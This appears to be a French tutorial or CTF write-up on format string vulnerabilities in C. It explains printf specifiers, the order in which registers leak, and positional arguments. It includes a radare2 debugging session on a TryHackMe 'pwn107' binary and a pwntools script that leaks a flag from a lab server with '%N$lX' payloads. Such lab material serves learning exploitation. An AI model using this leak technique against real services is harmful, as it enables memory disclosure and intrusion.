Skip to main content

Format String

Les vulnérabilités format string sont causées par une erreur dans l'exécution de certaines fonctions en C telles que printf.
En effet, ces fonctions attendent normalement deux arguments : printf(format:<format>, <data to print>).
Quand la fonction est mal exécutée, il est ainsi possivle de faire fuiter la mémoire en utilisant les format specifiers :

Text Description
% Output a literal % character; does not accept flags, width, precision or length fields
d, i (signed) int formatted as decimal; %d and %i are synonymous except when used with scanf
u unsigned int formatted as decimal.
f, F double formatted as fixed-point; f and F only differs in how the strings for an infinite number or NaN are printed (inf, infinity and nan for f; INF, INFINITY and NAN for F)
e, E double formatted as in exponential notation d.ddde±dd; E results in E rather than e to introduce the exponent; the exponent always contains at least two digits; if the value is zero, the exponent is 00; in Windows, the exponent contains three digits by default, e.g. 1.5e002, but this can be altered by Microsoft-specific _set_output_format function
g, G double formatted as either fixed-point or exponential notation, whichever is more appropriate for its magnitude; g uses lower-case letters, G uses upper-case letters; this type differs slightly from fixed-point notation in that insignificant zeroes to the right of the decimal point are not included, and that the precision field specifies the total number of significant digits rather than the digits after the decimal; the decimal point is not included on whole numbers
x, X unsigned int formatted as hexadecimal; x uses lower-case letters and X uses upper-case
o unsigned int formatted as octal
s null-terminated string
c char
p Pointer formatted in an implementation-defined way
a, A double in hexadecimal notation, starting with 0x or 0X. a uses lower-case letters, A uses upper-case letters
n Outputs nothing but writes the number of characters written so far into an integer pointer parameter; in Java this prints a newline

Les paramètres leakeront dans l'ordre associé à l'architecture : RDI > RSI > RDX > RCX > R8 > R9 > Stack (depuis le RSP).

Il est possible de préciser l'index de largument rechercé : %6$X

Pour vérifier ce que l'on fait, on lance le programme dans r2, on ajoute un breakpoint juste avant notre memory leak pour voir ou se trouve la donnée que l'on cherche et vérifier qu'on leak la bonne valeur :

r2 -AAAA pwn107-1644307530397.pwn107
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Scanning for strings constructed in code (/azs)
INFO: Finding function preludes (aap)
INFO: Enable anal.types.constraint for experimental type propagation
INFO: Reanalyzing graph references to adjust functions count (aarr)
INFO: Autoname all functions (.afna@@c:afla)
[0x00000780]> pdf @main
            ;-- main:
            ; ICOD XREF from sym._start @ 0x79d(r)
┌ 243: sym.main ();
│ afv: vars(3:sp[0x10..0x48])
│           0x00000992      55             push rbp
│           0x00000993      4889e5         mov rbp, rsp
│           0x00000996      4883ec40       sub rsp, 0x40
│           0x0000099a      64488b0425..   mov rax, qword fs:[0x28]
│           0x000009a3      488945f8       mov qword [canary], rax
│           0x000009a7      31c0           xor eax, eax
...
[0x00000780]> db 0x00000a14
[0x00000780]> db 0x00000a19
[0x00000780]> ood
INFO: File dbg:///home/arthur/case/pwn107-1644307530397.pwn107 reopened in read-write mode
[0x7b69e6d75440]> dc
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 107

You are a good THM player 😎
But yesterday you lost your streak 🙁
You mailed about this to THM, and they responsed back with some questions
Answer those questions and get your streak back

THM: What's your last streak? INFO: hit breakpoint at: 0x594910600a14
[0x594910600a14]> dc
%15$lX
INFO: hit breakpoint at: 0x594910600a19
[0x585ed0000a14]> pxr @ rbp - 0x8
0x7ffc42d6e588 0x7a421eb3f6ad9200   ......Bz
0x7ffc42d6e590 0x0000000000000001   ........ @ rbp 1
0x7ffc42d6e598 0x00007c0774308ca8   ..0t.|.. /usr/lib/x86_64-linux-gnu/libc.so.6 library R X 'mov edi, eax' 'libc.so.6'
0x7ffc42d6e5a0 0x00007ffc42d6e690   ...B.... [stack] stack R W 0x7ffc42d6e698
...

Petit example de script en python qui exploite cette vulnérabilité pour sortir un flag :

from pwn import *
import codecs

flag = ''

context.quiet
context.log_level = "error"

#io = process('./pwn106-user-1644300441063.pwn106-user')

start_index = 6

ongoing = True

while ongoing:
        print(f'Flag : {flag}', end='\r')
        io = remote('10.128.147.159', 9006)
        io.recvregex(b'giveaway:')
        payload = f'%{start_index}$lX'
        io.sendline(payload.encode('ascii'))
        io.recvregex(b'Thanks ')
        leak = bytearray.fromhex(io.recvline().decode('utf-8'))
        leak.reverse()
        leak = little = ''.join(f"{n:02X}" for n in leak)
        flag += codecs.decode(leak, 'hex').decode('utf-8')
        if '}' in flag:
                print(f'[+] Found flag : {flag}')
                break
        else:
                start_index += 1